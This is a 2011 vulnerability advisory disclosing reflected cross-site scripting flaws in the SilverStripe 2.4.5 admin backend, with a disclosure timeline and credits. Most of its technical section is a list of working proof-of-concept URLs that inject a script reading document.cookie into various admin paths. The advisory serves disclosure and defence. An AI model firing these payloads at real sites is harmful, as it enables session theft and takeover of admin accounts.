Advisory: SilverStripe 2.4.5 Multiple backend Cross-site scripting vulnerabilities Advisory ID: SSCHADV2011-024 Author: Stefan Schurtz Affected Software: Successfully tested on SilverStripe 2.4.5 Vendor URL: http://www.silverstripe.com/ Vendor Status: informed CVE-ID: - ========================== Vulnerability Description: ========================== SilverStripe 2.4.5 backend is prone to multiple Cross-site scripting vulnerabilities ================== Technical Details: ================== Backend - XSS http://<target>/SilverStripe-v2.4.5/admin/reports/?'"</script><script>alert(document.cookie)</script> http://<target>/SilverStripe-v2.4.5/admin/comments/?'"</script><script>alert(document.cookie)</script> http://<target>/SilverStripe-v2.4.5/admin/?'"</script><script>alert(document.cookie)</script> http://<target>/SilverStripe-v2.4.5/admin/show/4?'"</script><script>alert(document.cookie)</script> http://<target>/SilverStripe-v2.4.5/admin/show/2?'"</script><script>alert(document.cookie)</script> http://<target>/SilverStripe-v2.4.5/admin/show/root?'"</script><script>alert(document.cookie)</script> http://<target>/SilverStripe-v2.4.5/admin/show/3?'"</script><script>alert(document.cookie)</script> http://<target>/SilverStripe-v2.4.5/admin/show/?'"</script><script>alert(document.cookie)</script> http://<target>/SilverStripe-v2.4.5/admin/assets/?'"</script><script>alert(document.cookie)</script> http://<target>/SilverStripe-v2.4.5/admin/show/1?'"</script><script>alert(document.cookie)</script> http://<target>/SilverStripe-v2.4.5/admin/show/5?'"</script><script>alert(document.cookie)</script> http://<target>/SilverStripe-v2.4.5/admin/security/?'"</script><script>alert(document.cookie)</script> ========= Solution: ========= - ==================== Disclosure Timeline: ==================== 05-Oct-2011 - informed developers 06-Oct-2011 - release date of this security advisory ======== Credits: ======== Vulnerabilities found and advisory written by Stefan Schurtz. =========== References: =========== http://www.silverstripe.com/ http://www.rul3z.de/advisories/SSCHADV2011-024.txt